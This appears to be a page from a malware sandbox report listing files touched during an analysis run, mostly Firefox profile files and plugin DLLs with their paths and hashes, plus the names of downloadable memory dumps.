SHA256 1a037765565d7ce6eaf54eb8aa177579170ce3cbb94bb6aad521957fa2a1164c
MD5 c884edcaf9b2cafc0b5ee89befe32c95
SHA1 edc9243433cd53a366b0e9bb7e17756b71e55cf7
SHA512 c101f2824f49674d868eb377121dafeb124e72a43cfa83495919cbb99f262e7a3f55aadf0268db4511df683d567c1563582673d971fdaf8938056cf22ce8e00d
SSDEEP 384:DkI4vE9Umldvb8dhW294znv96oNL4H2L4P+L4HiL4HrL4Huy4hl:AI4mRfIXr4zV664c4c4w4X4N4D
TLSH
T15E72311545049EB8294FA79AAA367E02C37D533B70845C78F4DD8FC802FA5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\gmp-widevinecdm\4.10.3050.0\manifest.json
Size 1002B
SHA256 2894996540fabbd346ed4ced8386ca77d6badf60372e307ee15c906c30340d0d
MD5 dcffff15fa618a53834ee4ae8673bd23
SHA1 87316c1f583f438b55e3b0a94783ff9dc8f177f7
SHA512 250c869c49c886306aa0362567cb1ccacae676f886a5b9206ce77fb92acf3af16bd574e80d01e0f97f031d6f00710af8f82c176df51994dcfb51153bed3cee46
TLSH
T139115B00DD388DD326D4BAA21CD6580A97661DAF5CC23E94379E161D8F1C8AB937376C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\gmp-widevinecdm\4.10.3050.0\widevinecdm.dll
Size 21.6MB
SHA256 f1216e26ee8c27f938d7722427d29f190e569ed83d0ba16ea872cae684b97602
MD5 d14dd3f0107ff91c3e21f301d83f82b0
SHA1 f61d7d687c9d4b3b6a6c9c0f5610025b5d3f4e45
SHA512 de745c2ff8440d72c5616a88fc56918f4aa7de202c8c4cd7fd026d5eebebde6ee97a3a8a76f331da4c03042b7d87ba8dc2eda40bb475fb47e56df5c2795cf97d
SSDEEP 393216:bYXajn9L4mghF5QDwW0LmruPCB78HYUUZBKvq9PW1gL2hoHH:emghF5QDwWCm/2YU8Ivq9u5K
TLSH
T14E37F18AF36350A8D84E9DF0426EAA72D0743C4E03359AEF17D47B315A727C06A79F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\prefs-1.js
Size 7KB
SHA256 c3cee851ef14e0ac9f76b7b18b5e7bbfefa82f91c5de98b13a7103440771a65c
MD5 966e751c66a06ea3d0a7dfb93b5d3025
SHA1 31c6da2d77880ab163de9753522094002e877c0a
SHA512 2c1bdb2effd6d2f6a6aa46e909a63da762899a4ffa22e253323f9a9805f1528ca37b866008f380989ab232a6728dbb90a97bbbf0a10594b5294d8a2d2e060bb6
SSDEEP 96:xHtZTUPqGqTfGuX+IObzSwOKSSlQdv9jLnnWRjIDuBw88A8L4cnyFa:bjRTfGuX+IOOKSS7R8DuBw88T
TLSH
T139F1EC78A104CB7F64B676ACAC688D315A72023BB6BF68C650BA5484051CF3845F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\prefs-1.js
Size 6KB
SHA256 9f41ddc717d7851cc8fa9d4161bd7c8fab514a5a390b5f6249208e1a99f57fa5
MD5 c3fdf47255cc4a08bcd42c6f9bf337a4
SHA1 75ecdae7b02755786a86e15ca8a22dd64390baab
SHA512 1ffb389ae64589c52c272c3d5e3b4eecba06a7ee2be03c8415741396cd01f07c6ff438944d196864d3c949d7d0477d36657271b46405df05244a6c14c0627273
SSDEEP 96:xHtUTUPqGqTfGi61zSU4SSlQdv9jhbnnH1Bw88u8L4cnyFa:byRTfGi6V4SSgz1Bw88B
TLSH
T186E100789008CB7F74B6776CAC688C31AAB2013BBBBF68D650B55484055CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\prefs.js
Size 6KB
SHA256 5ddeb1ddde0289e68e3f292e644c41d7854e6bcef94c3460762c05da0843181d
MD5 1b171c47832faf0aaad0eab44b986008
SHA1 16ab5bb2c23bf56d27a4d950ead634bb7c43faab
SHA512 5daa2a653916a9822ae51070430d46a52502192906de37a8c3365ba0dbdab8bce1e8894ac1280022939526281e05e9270367771c236c9feb6e359b4ad6be3cbf
SSDEEP 96:xHtUTUPqGqTfG+I1zSwOKSSlQdv9jhbnnH1Bw88u8L4cnyFa:byRTfG+IJOKSSgz1Bw88B
TLSH
T1F9E110789008CB7F74B677ACAC688C316AB2013BBBBF68D650B55484055CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\prefs.js
Size 6KB
SHA256 bf7ec3a40ddf47aa8eb62bfa877ff584d3e84295631a3f5217a5a073147d2c52
MD5 142c5c6560327536ed882562d7b49811
SHA1 b9018a756e5e4b2aef709232144a8b08ccf7eedf
SHA512 e5006f3005fcacdfc064cb69d95393435e507ffb7d02ee21b7fcd703888e1159a7e1db0d49b9d89b9992d6769fcbb88aa4e15aa847aa0ce53f3b372c818ee591
SSDEEP 96:xHtUTUPqGqTfG+IObzSwOKSSlQdv9jLnnH1Bw88u8L4cnyFa:byRTfG+IOOKSSu1Bw88B
TLSH
T1E0E10F7890088B7F74B677ACAC688D316AB2013BBBBF68D650B554C4055CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\sessionstore-backups\recovery.baklz4
Size 4KB
SHA256 1edea6d51609559440e79894ddfcfb51a3e8ef1356bc9f094d427f786bfa6cf3
MD5 bed91f5d6165723dd86a07216e297510
SHA1 939a9c37abdb4ae8c3a73ea1ba026d3c587c9755
SHA512 43c0160c8caa504bfd867580df9fd8da636f6c68c5f7358a6658e19ced9d086047887ee568fe3ee2a1c216d37e4f4cec956bebdb5f3fa917a801b6f0770f369e
SSDEEP 96:GufW9ThM6c9jl4yUlo40EYU0iJla4bF2CTp6sia48:FW9lM39Tqo40f2v2CTcsh
TLSH
T189917B43844BBFB973702A90C0A517A5D6B86CF188210DC45099FB52C23A6DE70893BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 e5e0a39f29527343fa4a792d7cbb95bb24e1e6589f9bce1cd81b2792444f853e
MD5 e59b56d8d6438f261e5fe54e97f248aa
SHA1 eaad5ac87122e97016bd229184f9cfd72f164444
SHA512 5987946ef7f4d062bb32fac5d34b74d682f41e521ffb741024cc5881e7fe28d386d523870ada9227cf78fd21dcdd12319fef5ff4d7537edf94a5f3c7d8e3874e
TLSH
T1C2816C434807BEF9B7703A90C09966A4D67868F244365DD490A5FB52823DBCEB18D3BD
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\sessionstore-backups\recovery.baklz4
Size 1KB
SHA256 b8bc74ceb142cc653bf863545f19bb22d975b94d1a14d18095d5c8dc133ab08b
MD5 78039644054ee0e488a78b8ee4f4258a
SHA1 6c1d06a49bd810c3c5b167619926d6933448c5e2
SHA512 db2ea920cacdf28ab284e3ae95512de5af8091b40ae632a2b02184b9c65f0d061be5c312101825306937f5a6fbfdf6b56df23f759c2097e7f7375adb3660e26d
TLSH
T1BC21D847D8133BF67B21915B80869BB0C6E930B440B158B0D1CE8645919EC89B28E22D
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 7.2MB
SHA256 e0f113143fe2ab3dca4b1c445cbdde4889e8fe98ac80c5303777567edbd497b5
MD5 306ddd9a5d76ee561f6a27f769f3f8f0
SHA1 19f99d5061029c89cf2c22a2717b0a4ac35c7ba0
SHA512 72f375b80b4e023cbaff3b194a4c3b155f34e378b77880d855a39d29d1d221fe71f3afa8ceabb3dba9b5f64aa01b5943f1ecaced407328bab3990f77c636a2c4
SSDEEP 49152:n7dm+watYYft/Yr1Kr8y1nxdEy0n8OLFGxMJ0iq0sq1Z7NabY4N4CCUkTwIa9mtm:7z5Q1kb1nx70n8j
TLSH
T131765CE420E19253F38244B3718993FB21EFC01C6076CE48579496FAA9748EB8E577BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\dzn6qwxz.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 7.2MB
SHA256 cfccdd3fb5943fb658c9ee4bf58aa6f86f273fb0c12cad851375793cc94cf975
MD5 6a8190f7da6d95423ab9c44091382759
SHA1 65813aba40f08ceed85c7deae6ddc58267e0c592
SHA512 5c6f593586ea0f9f37435725e1154506ab4b66f4080f0a1a6b6e936c57cf5b85d44e102dc0d6e18b5896bc6bf118903a5fecceec43d4d18a021bc9bdb982d135
SSDEEP 49152:kLELy7aeUT6QC5zYYKeKUWZKv8Ge5xTK3A0i6T0fOTDjHmTwaQtYfT1YQIVr8yQZ:+SZLIdbQ7x9iG8c
TLSH
T115765CE420E19253F38644B3719993FB20EFC01C6036CE44579496FAA9748EB8E977BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2944-2725-0x000001E8625E0000-0x000001E86299B000-memory.dmp

Download

memory/3760-0-0x00007FFE6B89F000-0x00007FFE6B8A0000-memory.dmp

Download

memory/3760-9-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/3760-4-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/3760-5-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/3760-3-0x000001DD6FB00000-0x000001DD6FB22000-memory.dmp

Download

memory/3760-6-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/3760-7-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/3760-10-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4084-865-0x0000023F364B0000-0x0000023F364CE000-memory.dmp

Download

memory/4084-857-0x0000023F36710000-0x0000023F367C2000-memory.dmp

Download

memory/4240-27-0x0000015C75C60000-0x0000015C75D12000-memory.dmp

Download

memory/4240-23-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-14-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-12-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-19-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-30-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-28-0x0000015C74D30000-0x0000015C74D3A000-memory.dmp

Download

memory/4240-26-0x0000015C75C40000-0x0000015C75C5E000-memory.dmp

Download

memory/4240-18-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-11-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-20-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-21-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-22-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4240-13-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4572-2543-0x0000019294410000-0x0000019294430000-memory.dmp

Download

memory/4572-2497-0x00000192801E0000-0x00000192802E0000-memory.dmp

Download

memory/4572-2528-0x00000192940F0000-0x00000192941F0000-memory.dmp

Download

memory/4572-2527-0x0000019282CD0000-0x0000019282CF0000-memory.dmp

Download

memory/4572-2529-0x0000019282A50000-0x0000019282A70000-memory.dmp

Download